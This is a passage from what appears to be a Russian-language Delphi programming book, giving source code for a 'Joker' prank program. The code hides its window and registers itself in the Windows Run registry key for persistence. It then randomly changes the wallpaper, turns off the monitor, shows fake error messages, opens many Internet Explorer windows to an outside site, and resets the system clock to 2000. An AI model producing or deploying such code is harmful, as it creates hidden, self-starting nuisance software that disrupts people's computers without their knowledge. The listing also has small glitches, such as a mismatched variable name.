>
>> Finds:= FindNext(fn); // …ищем другие рисунки
>> //выбираем любой другой рисунок и делаем его фоновым
>> if i = endval – 3 then SetWallpaper(fn.Name, False);
>> end;
>> end;
>> FindClose(fn); //завершаем поиск
> end;
> 7: begin //Выключить монитор
> SendMessage(Application.Handle, WM_SYSCOMMAND, >SC_MONITORPOWER, 1);
> end;
> 8: begin //Сообщение об "ошибке"
>> for i:=1 to 200 do begin
>> case i of
>> //после каждого 25-го числа – перенос на новую строку
>> 25,50,75,100,125,150,175,199: err_str:= err_str + #13#10;
>> end;
>> //текст "ошибки"
>> err_str:= err_str + IntToStr(Random(99999));
>> end;
>> MessageDlg(errstr, mtError, [mbOk], 0); //выводим сообщение
> end;
> 9: begin //Запуск Internet Explorer
>> for i:=1 to Random(10)+ 5 do //случайное число от 5 до 15.
>> ShellExecute(0, 'open', 'C:\Program Files\lnternet Explorer\' +
>> 'IEXPLORE.EXE', 'www.heel.nm.ru', 0, SW_MAXIMIZE);
> end;
> 10: begin //Перевести время
>> GetLocalTime(tm); //узнаем текущую дату и время
>> tm.wYear:= 2000; //устанавливаем год
>> tm.wMonth:= 01; //месяц
>> tm.wDay:= 01; //день
>> tm.wHour:= 0; //часы
>> tm.wMinute:= 0; //минуты
>> tm.wSecond := 1; //секунды
>> tm.wMilliseconds := 0; //мс
>> SetLocalTime(tm); //устанавливаем новую дату и время
> end;
> end;
>end;
>procedure TForm1.FormPaint(Sender: TObject);
>begin
> Form1.Hide; //прячем форму
>end;
>procedure TForm1.FormCreate(Sender: TObject);
>var
> reg:TRegistry;//переменная для работы с реестром
> path: string;//содержит путь к нашей программе
>begin
> Randomize; //генератор случайных чисел
> //узнаем путь к программе и ее имя
> path:= Application.EXEname;
> reg:= TRegistry.Create;//открываем реестр
> //ветка текущего пользователя
> reg.RootKey:= HKEY_CURRENT_USER;
> //открываем раздел автозагрузки
> if reg.OpenKey('\Software\Microsoft\Windows\' +
> 'CurrentVersion\Run', True)
> then begin
> //записываем ссылку на нашу программу в автозагрузку
> reg.WriteString('Joker', path);
> reg.CloseKey;//закрываем реестр
> reg.Free;//освобождаем память
> end;
>end;
>end.
⊚ Все файлы проекта и исполняемый файл рассмотренной программы находятся на прилагаемом к книге компакт-диске в папке Chapter_14.
